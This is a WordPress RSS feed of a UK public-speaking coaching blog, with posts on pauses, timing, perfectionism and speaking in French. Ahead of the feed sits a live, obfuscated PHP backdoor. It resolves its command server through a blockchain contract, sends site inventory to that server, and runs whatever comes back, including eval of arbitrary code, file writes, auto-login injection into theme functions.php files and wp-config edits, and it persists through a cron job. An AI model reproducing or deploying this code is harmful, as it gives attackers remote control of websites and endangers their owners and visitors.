// ca_lr if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home3/smallbu1/public_html/nowyouretalkingco/wp-content/plugins/wp-helper-7fac97/wp-helper-7fac97.php', 'ctrl'=>'// ca_lr', 'vis'=>'// 1w_us', 'vis_func'=>'wp_p21iog', 'vis_paths'=>array('/home3/smallbu1/public_html/nowyouretalkingco/wp-content/plugins/wp-helper-7fac97/wp-helper-7fac97.php'), 'opt'=>'_wp_w68ayt7h', ); $keys=array(); $keys['id']='d2h'; $keys['ver']='5l'; $keys['caps']='y6c'; $keys['tasks']='un4'; $keys['interval']='nlg'; $keys['ack_id']='bw6'; $keys['ok']='tm'; $keys['detail']='lrx'; $keys['inv']='4xr'; $keys['result']='dod'; $hdr='X-CEW-Auth';$tok='mxSjtC1Gx-gwJdQ8jEV0Fr2yARcSVNaUTzz0ctHrrbw';$id='49664b12c7274141';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Presentations Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/presentations/ Public speaking Thu, 03 Nov 2022 09:54:01 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Coronavirus lessons for public speakers https://www.nowyouretalking.co.uk/2020/03/24/coronavirus-lessons-for-public-speakers/ Tue, 24 Mar 2020 17:32:25 +0000 https://www.nowyouretalking.co.uk/?p=1005 Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of…

The post Coronavirus lessons for public speakers appeared first on Now you're talking.

]]> Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of the things going on in public life and slogans adopted to communicate with us and keep us all safe during these challenging times.

1. Confusing messages have no impact

Sounds obvious, doesn’t it? But over the past few weeks, the UK has received unclear, indecisive messages about what to do in the face of the coronavirus crisis. Language such as ‘should’, ‘could’, ‘might’ is indefinite and confusing. If we want people to respond to our calls to action, we need to be precise and unambiguous.

To find your clear message, start at the end. What do you want your audience to think, feel or do after they’ve heard what you have to say? If you are clear about the answer, you will be able to articulate it in about 10 words. If you can’t, you need to strip back and reduce your ideas to their very essence. In the words of Albert Einstein:

“If you can’t explain it simply, you don’t understand it well enough.”

If you can then convert your message into an anchor phrase or ‘soundbite’ that encapsulates the content of your speech and is short, rhythmic and rhymes, then you have a memorable takeaway that will make your words live on long after you have finished speaking. For example, ‘failing to prepare is preparing to fail’, ‘women’s rights are human rights’, ‘I have a dream…’

2. Expertise brings credibility

We are repeatedly being told that decisions about coronavirus are being led by science and the expertise of scientists. We are persuaded by their expertise. Aristotle told us that there are three elements to delivering a persuasive message – Ethos (our credibility as speakers), Logos (evidence, facts and figures that need to be explored), and Pathos (emotional engagement with your audience). The combination of these three is key. Consider how, for instance, the ‘facts’ of science are being infused with more emotional messages about the need for us to be responsible to save lives.

As speakers, we need to establish our credibility. This doesn’t mean that only people who have been doing it for years or are famous are eligible to speak. Indeed, time alone is often a poor reason to speak, especially if the message doesn’t evolve and reflect current challenges. Speaking is an opportunity and your expertise, experience or involvement in a project are your authority, your credibility. Make sure you or your meeting host establish your credibility from the outset and don’t forget to dress accordingly to reinforce that position.

3. Get personal and active

If you want people to pay attention to, and act on, what you’re saying, you need to make it personal. ‘You’ is the magic word. ‘You’ is inherently inclusive and individual at the same time. Its use instantly includes everyone in the audience and speaks to each person as an individual, so that they feel as if you are speaking directly to them.

Dial up the number of times you use the word. Barak Obama had this down to a fine art when it came to connecting with his listeners. In his 2012 presidential election victory speech, Obama used the personal pronoun ‘I’ 36 times. In stark contrast, he used ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

The official line has been passive and slow to get to the point. Phrases like “You should work from home” and “social distancing” are vague and flat. If we want people to do something, we need to give people a reason, make it personal so that they can see the benefit and speak in the more immediate and present style of the active voice. Fortunately, the world of hashtags is more dynamic, active and to the point #WFH #WorkFromHome #StayHome #StaySafeSaveLives #KeepYourDistance.

4. We will get through this!

There’s a conviction being conveyed that, together, we will overcome coronavirus. This belief is helpful when it comes to managing our nerves and building our confidence as speakers. Being nervous is completely normal and you are not alone. As Mark Twain observes:

“There are two types of speakers. Those who get nervous and those who are liars.”

Not only are nerves part of being human, speaking is a learnable skill and we can learn to channel our nerves into the energy we need to speak in front of an audience. To help us do this, I have developed the PRO apPROach to befriending our nerves:

  • Bring a sense of PROportion to our speaking, taking our foot off the panic pedal and working through what it is that frightens us; how we can prevent these fears becoming a reality and any damage limitation if they do; the costs of not speaking for our personal profile, careers, businesses, etc and the significant benefits of having a go.
  • PROgram your brain away from the adrenaline-rushing, survival, primordial response to the idea of public speaking so that you can learn to recognise it as something ’we will get through’ and, over time, enjoy. Move the spotlight onto your audience and think of yourself as giving them something of value. Try to talk about things that matter to you and your audience so that your enthusiasm shines through and celebrate your success every time you give a speech or presentation. It’s a big deal. You can think about improvements later. PROgram a ‘pat on the back’ and reduce the survival response.
  • Embrace a PROcess of incremental improvements. Start with small audiences. Practise at every opportunity. Now is a great time with all these online meetings and gatherings. Identify specific skills you want to work on and invite feedback so that the process is always one of ongoing learning and growth.

5. ‘Don’t touch your face!’ and other non-verbal signals

This is a great tip from a body language perspective. When we touch our faces as speakers, we make our audience wonder what we have to hide. Any trust we have built up will be undermined. Keep your hands away from your face and use them with purpose to reinforce your words.

Essentials of body language online include a heartfelt smile and steady eye contact. But don’t forget to maintain a good posture. It’ll make you feel more confident and send that to your audience. Similarly, if you are sitting, use an office-type chair and adopt an upright position. I see a number of people sitting forward in a chair and then they begin to sway to and fro. This makes them look nervous and is highly distracting. Similarly, if you’re standing, plant yourself firmly, soften your knees and lean slightly into the balls of your feet for additional energy. Dial down movement, when you’re online, you’re effectively on the ‘small screen’ and large gestures can overwhelm or distract.

6. In this together

Speaking at its most impactful is an outcome of co-creation between speaker and audience. It’s not about a speaker talking AT their audience, but rather having a conversation WITH them. Conversation is a two-way, negotiated experience.

At the moment, we’re seeing a lot more kindness and humanity, so now is a great time to have a go. Interact with your audience – ask them questions, mirror their body language, tap into their reactions. Invite their input on the spot and see where it takes you.

7. And a final thought… how do you stand out online when everyone has moved there?

It was already difficult to stand out in the world of social media, where so many people are creating and sharing content. Now, more than ever, you need to find ways to attract attention. Consider, for instance:

  • How you can bring a fresh twist to your content. You might adopt a different perspective or discipline. If, for instance, you’re a neuroscientist, what can a musician bring to your message (eg David Eagleman and Anthony Brandt)?
  • Explore your ideas through play and see how your message or theory evolves.
  • Tell a relevant personal story or share your personal vision.

And, of course, bring interesting vocal stylings to your delivery in terms of variety of pace, pitch, volume, pausing. If you’re in any doubt about you vocal skills, try reading a story to a child, they’ll soon let you know if you’re not up to scratch!

Now you’re talking in the time of coronavirus! I’d love to hear about the coronavirus lessons for public speakers you are reminded of at this time.

The post Coronavirus lessons for public speakers appeared first on Now you're talking.

]]> Pause with purpose for meaning, clarity and impact https://www.nowyouretalking.co.uk/2019/04/04/pause-with-purpose/ Thu, 04 Apr 2019 15:29:07 +0000 https://www.nowyouretalking.co.uk/?p=867 Pause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.” I love…

The post Pause with purpose for meaning, clarity and impact appeared first on Now you're talking.

]]> Pause buttonPause with purpose to add meaning, clarity and impact to your speeches and presentations. In the words of Mark Twain: “The right word may be effective, but no word was ever as effective as a rightly timed pause.”

I love a good pause and there are many to choose from, each with its own particular purpose and impact.

Opening pause

This is my favourite and brings a number of important benefits:

First, saying nothing is attention grabbing, it won’t be long before your audience realises no one is talking and will stop what they are doing or thinking about and focus on you. Second, and a related benefit, your silence will pique their curiosity and make them wonder what will happen next. Third, you have the silent time to calm yourself, take a few deep breaths and ready yourself to speak. Fourth, this opening time allows you to gauge the room and get a sense of how the audience is feeling and whether you need to make any adjustments to, for instance, energy levels, engagement, interaction, etc.

To maximise the impact of the opening pause, it needs to last at least five seconds and be delivered with confidence, including a solid and stable stance and good eye contact with your listeners/audience.

Filler-free pause

Er, um, like and other little sounds that can creep into our speech, especially when we are nervous. The odd one here and there gives a sense of spontaneity and a relaxed, conversational style. However, too many can be annoying and even distract an audience from listening to what you have to say.

Taking a small breath will help you reduce the ers and ums and come across with greater clarity and confidence.

Creative pause

If you invite the audience to imagine, reflect, picture or create an image or situation, give them time to do that. They will conjure up their version of what you are asking them to imagine/picture, etc. This is not only much more vivid than you describing in great detail a scene from your life, but it also enables people to join you in your story, using their frameworks and experiences.

Reflective pause

When you are presenting some difficult or unfamiliar ideas, give your audience time to absorb what you have said. In similar vein, if you ask them a question (even a rhetorical question) or ask them to think about something, such as a choice, give them time to consider and decide where they stand.

Punchline pause

Pauses are an essential part of creating humour in a speech. This is especially the case with humour built on misdirection. This involves telling a joke, story or anecdote in a way that misdirects your audience to anticipate the next line. While you pause they complete the joke as they expect it to end. You then deliver a different outcome, surprising the audience and (hopefully) making them laugh. Without the pause, the listener doesn’t have time to consider what they expect you to say and the humorous moment is lost.

Dramatic pause

This is especially powerful in storytelling. By pausing, you heighten the tension in your story and keep your listeners fully engaged as they long to hear the outcome.

And, critically, don’t forget to remain silent while your audience laughs. If you cut them off by speaking over the laughter, the chances are that they won’t laugh again and you will have severed a compelling connection.

Punctuation pause

When you write, you punctuate with commas, full stops, etc. This invisible punctuation needs to be audible when we speak otherwise we can sound as if our words are running away with us. Some short pauses add to the clarity and control of your narrative.

Emphatic pause

If you want to bring some additional weight or gravitas to a word, phrase or point, pause and then speak at a lower pitch and slower pace. The silence signals the start of something different and the change in pitch and pace indicates the nature of the differentiation.

Word-congruent pause

Very similar to an emphatic pause, congruency uses pauses to reinforce words. For instance, “Hesitatingly [breathe], he moved forward” or “Wracked with pain, she paused [breathe] …” before continuing to speak.

Show-me pause

A picture paints a thousand words. As the speaker, you can become the picture and use facial expression to show your audience exactly how you feel about something. A pause while you show them is generally far more evocative and memorable than using narrative to describe the feeling.

Visual aids pause

For most of us, vision is our primary sense. This means that if you put up slides or other visual aids, we are more likely to look or read than to listen. As such, if you speak at this time, your words will almost certainly fall on deaf ears. Keep silent while people absorb the visuals and then continue with what you have to say.

Pause for thought

This is a moment you take to think about what you want to say when you find yourself faced with impromptu questions, eg Q&A, panels, job interviews, untabled questions in a meeting, etc. By pausing, you buy yourself some time to think about what you want to say and how you want to say it.

Petrified pause

So many ways to pause with purpose, but there is one that you don’t want in your speeches or presentations and that’s the petrified pause. Sometimes, when we’re really nervous, we can find our brain freezing and we simply can’t think what to say. Anxiously pausing and searching for words conveys a lack of confidence and perhaps a lack of preparation as well. In this situation, it is important to do some work on managing your nerves so that they generate positive energy for your talk.

Fortunately, pausing with purpose is generally powerful and positively impacts your speeches and presentations. The challenge is to deliver these pauses.

Practise pausing

When we are nervous, we tend to speak too quickly and pauses simply don’t happen. We need to get comfortable with using them. What feels like eternity from your standpoint in front of an audience, feels like no time at all to everyone else in the room.

When you are preparing and practising a speech or presentation, try to insert pauses and the appropriate length for each one. When you pause, count the number of seconds you have allowed. Record yourself and play back to see how long those silences really sound. Could some of them be longer to achieve their purpose? With practise, you will come to enjoy the impact of pausing with purpose.

The post Pause with purpose for meaning, clarity and impact appeared first on Now you're talking.

]]> Good timing – 3 steps to speaking to time https://www.nowyouretalking.co.uk/2019/03/22/good-timing/ Fri, 22 Mar 2019 17:56:46 +0000 https://www.nowyouretalking.co.uk/?p=856 We’ve all been on the receiving end of speeches that overrun. Timing it right means producing and delivering speeches and presentations that stay within the time you’ve been allocated. This shows respect for yourself, your audience and the event organisers,…

The post Good timing – 3 steps to speaking to time appeared first on Now you're talking.

]]> We’ve all been on the receiving end of speeches that overrun. Timing it right means producing and delivering speeches and presentations that stay within the time you’ve been allocated. This shows respect for yourself, your audience and the event organisers, as well as demonstrating that you are well prepared.

Speeches can overrun for many reasons, including starting late, unexpected disruptions, eg fire alarms, last-minute tech failures, etc. While you can do all the sensible checks, ultimately, these reasons tend to sit beyond your control as the speaker.

In contrast, the most common reasons for overrunning lie squarely within the speaker’s control and usually reflect a neglect to rehearse and time a speech before going live or simply a bad case of ‘infobesity‘ or trying to cram in too much. It is, of course, hard to leave things out when it’s a subject you care about and are eager to share ‘everything you know’ with your audience.

However, less is more in terms of sticking to time and less is definitely more for the audience. So, here are three steps to timing it right for speeches that keep everyone happy, timewise at least.

Timing counts – minutes and words

First, you need to decide how long you will speak for. You will have received a time allocation from the ‘event’ organiser.  But you don’t want to fill every minute. As a guide, reduce your time allocation by 15-20%. If you have a 10-minute slot, then aim to produce a speech that lasts about eight minutes.

This flexibility is essential for your audience that hasn’t heard your material before. They need time to absorb and reflect on what you are saying, time for unanticipated explanations or questions, as well as time to laugh when you make humorous remarks. In addition, it allows you time to adjust your speaking pace and gestures to reinforce your words. If you finish early, you can always take questions or simply stop. How often do you hear people complain about a speech being too short?

Second, convert the planned length in minutes into the approximate number of words you will need to fill that time. I typically aim for 80-100 words per minute when speaking in public. With this in mind, I know that if I have a 10-minute slot, I need to write approximately 800-1,000 words.

Speaking rate is highly individual. English conversational speed is about 120-150 words per minute (wpm); presentations about 100-150 wpm. Some of the most-viewed TED Talks have speaking rates between 154 wpm (Brené Brown, The Power of Vulnerability) and 201 wpm (Tony Robbins, Why we do what we do). The faster you speak, the greater the need for easy-to-understand language, very clearly articulated.

Record and time yourself giving a speech or presentation and calculate the wpm, try out an app or website, such as WordCounter, or invite friends or colleagues to give you feedback on your pace. This input will give you a fairly reliable guide for subsequent speeches.

Time to write – crafting your content

Getting the timing right begins when you’re drafting your speech or presentation. You know how long you have to speak and roughly how many words you need. This gives you a good indication of the appropriate breadth and depth of your material.

Purpose & message

Next you need to determine the purpose and message of your speech. What is the single main point you want to make? I find it helpful to write this down, in large letters, and keep the page in view while you are compiling your content. You then work backwards to outline of the essential information required to support your message – stories, data, quotes, etc. Don’t worry about any material being wasted; it might simply belong in a different speech or article.

Scrutinise all your material and evidence against your message. Anything you try to add that does not directly support your message does not make the cut.

Structure

Now, consider the structure of your speech. What is the most efficient route from your opening remarks to your core message? What is the optimum number of sections and sub-sections? How many examples? The more layers you introduce, the harder it is for your audience to follow what you’re saying and for you to keep to time. And, as we know, three works well, so wherever practicable, aim for three key points, sections or examples.

Signpost

Signposting also helps you ensure your speech flows easily and affords clarity to your audience. What will the next few minutes or ‘chunk’ of your speech cover and, at the end of that chunk, a few words summarising its main point … all building towards your core message.

If you tend to write out your speech in full, this is when you may find it useful to convert your script into ‘chunks’, with a keyword to remind you what you want to say. Chunks give you greater flexibility than a script to shorten your speech in real time if you find yourself overrunning.

Rehearse your timing

The process of presenting often takes longer than you expect, so it’s important to practise. Run through your speech  with a stopwatch, speaking (not reading) aloud. Make it as realistic as possible, using any visual aids, building in gestures, pauses and changes of pace. This rehearsal time will also help you iron out any wrinkles in your speech, such as awkward words or phrases, over-complex sentences, non-sequiturs and so on.

If you are using slides, factor in time for your audience to read any words that they contain. People read in preference to listening  so allow them time to do this before you start talking. This is a good reason for keeping text on slides to a minimum.

The more you rehearse, the more fluent and comfortable your delivery will become as you internalise what you want to say and finesse your word choice.

We tend to be poor judges of time. On the day, ask someone to flag key timing milestones or use your phone stopwatch to keep you on track.

3 steps to good timing

Three steps to good timing – determine the word count, craft message-driven content and rehearse – will leave a positive impression and earn you the heartfelt appreciation of your audience and your host.

The post Good timing – 3 steps to speaking to time appeared first on Now you're talking.

]]> Perfectionism – the curse of speakers https://www.nowyouretalking.co.uk/2019/03/18/perfectionism-the-curse-of-speakers/ Mon, 18 Mar 2019 11:49:56 +0000 https://www.nowyouretalking.co.uk/?p=849 Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise. What kind of perfectionism plagues you? What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and…

The post Perfectionism – the curse of speakers appeared first on Now you're talking.

]]> Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise.

What kind of perfectionism plagues you?

What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and demand, excessively high standards of yourself and others? Or failure-avoiding perfectionism that drives fear of losing people’s respect if you achieve anything less than perfection?

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

According to Prof Steve Peters’ The Silent Guides, the Human (rational thinking part of the brain) sees perfectionism as ‘doing the best I can’. The Human aims for perfection, but accepts that we don’t often get perfection and can be proud of having tried our best.

In contrast, the Chimp (part of the brain that makes snap judgments based on emotions and gut instinct) demands that we achieve perfection and drives the sense of failure if we deliver anything less.

Connection not perfection

As speakers and presenters, perfectionism gets in the way. Seeking excellence can leave us fixating on, for instance, getting our words right or memorising our speech, while missing the opportunity to connect with our audience.

Failure avoidance can find us paralysed with fear of making a mistake. Again, at the cost of connection.

Any speaker ‘shortcomings’ should always take a back seat to connecting with, and moving, our audience so that we impact how they think, feel and act after experiencing our speech.

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

To allow the possibility of connection overriding perfection, we need both our Chimp and our Human. Together, they can work to motivate us to do our best (Chimp) and subsequently accept that trying our best is good enough (Human).

 

 

The post Perfectionism – the curse of speakers appeared first on Now you're talking.

]]> Giving speeches in other languages https://www.nowyouretalking.co.uk/2019/02/03/giving-speeches-in-other-languages/ Sun, 03 Feb 2019 21:12:07 +0000 https://www.nowyouretalking.co.uk/?p=823 Many of us find it hard enough to give an effective speech or presentation in our mother tongue. So, imagine trying to do it in a second or even third language. Fortunately, with the right coaching and practice, you can…

The post Giving speeches in other languages appeared first on Now you're talking.

]]>
Many of us find it hard enough to give an effective speech or presentation in our mother tongue. So, imagine trying to do it in a second or even third language. Fortunately, with the right coaching and practice, you can learn the necessary speaking skills and they are transferable so that giving speeches in other languages is achievable.
For as long as I can remember, I’ve had a passion for languages – speaking them and the insights they give you into other people, countries and cultures.
I decided to put my money where my mouth is and take on the challenge of crafting and delivering speeches in French; my second language. Here’s a snippet from a recent speech about a trip to Champagne – Dans les champs de Champagne.

Tips for giving speeches in other languages

My challenge to self is going well. Furthermore, here are some tips I’ve picked up about giving speeches in a second language:
  • The skills are, indeed, transferable
  • You need to allow yourself more time to prepare – unless you are completely bilingual, the process takes a bit longer
  • Having a mentor or coach is not just a good idea; it’s essential to get inside the language and culture
  • A growth mindset is a huge asset
  • Connection, not perfection has never been more meaningful
  • People really appreciate you making the effort to speak their language; it’s a powerful sign of respect.

Why it’s worth the effort

This experience is giving me even more respect for people who give speeches in a language that is not their mother tongue. It’s something many of you are required to do in your professional lives and, sometimes, in your personal lives. Don’t be put off. Transfer your skills and you can be on the way to giving speeches in other languages.
Follow my progress at https://www.nowyouretalking.co.uk/journal/

The post Giving speeches in other languages appeared first on Now you're talking.

]]> L’appareil-photo ne ment jamais! https://www.nowyouretalking.co.uk/2019/02/03/lappareil-photo-ne-ment-jamais/ Sun, 03 Feb 2019 16:46:15 +0000 https://www.nowyouretalking.co.uk/?p=814   L’appareil-photo ne ment jamais! or The camera never lies!     A speech in French about the creation of meaning in a photograph.  I suggest that the camera itself does not produce meaning. Rather, it is nothing more than…

The post L’appareil-photo ne ment jamais! appeared first on Now you're talking.

]]> L'appareil-photo ne ment jamais!

 

L’appareil-photo ne ment jamais!
or
The camera never lies!

 

 

A speech in French about the creation of meaning in a photograph.  I suggest that the camera itself does not produce meaning. Rather, it is nothing more than an inanimate object that captures or supports the intentions of other ‘creators’. I focus on three key roles:

  • the photographer as the person who decides what to include in the picture, the lighting, depth of field, etc
  • the editor who uses software too ‘adjust’ the in-camera image
  • the viewer who brings their own experiences and perspectives to what they see.

Following a brief consideration of the the role of each in producing meaning, I ask the audience to reflect on their own role in the creation of meaning the next time they look at a photograph.

The post L’appareil-photo ne ment jamais! appeared first on Now you're talking.

]]> Speaking sweet spot – inspirational workshops https://www.nowyouretalking.co.uk/2018/12/13/speaking-sweet-spot-inspirational-workshops/ Thu, 13 Dec 2018 15:04:21 +0000 https://www.nowyouretalking.co.uk/?p=778 It’s wonderful to learn that Now You’re Talking workshops are finding the speaking sweet spot, inspiring and helping people with their public speaking and presentation skills. Entitled Overcoming butterflies, here’s what Chloe Bartlem from Razor Research had to say about…

The post Speaking sweet spot – inspirational workshops appeared first on Now you're talking.

